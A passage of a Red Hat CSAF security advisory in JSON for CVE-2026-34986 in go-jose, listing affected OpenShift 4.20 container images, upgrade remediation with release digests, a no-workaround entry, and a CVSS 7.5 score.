"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986"
},
{
"category": "external",
"summary": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8"
},
{
"category": "external",
"summary": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants",
"url": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants"
}
],
"release_date": "2026-04-06T16:22:45.353000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
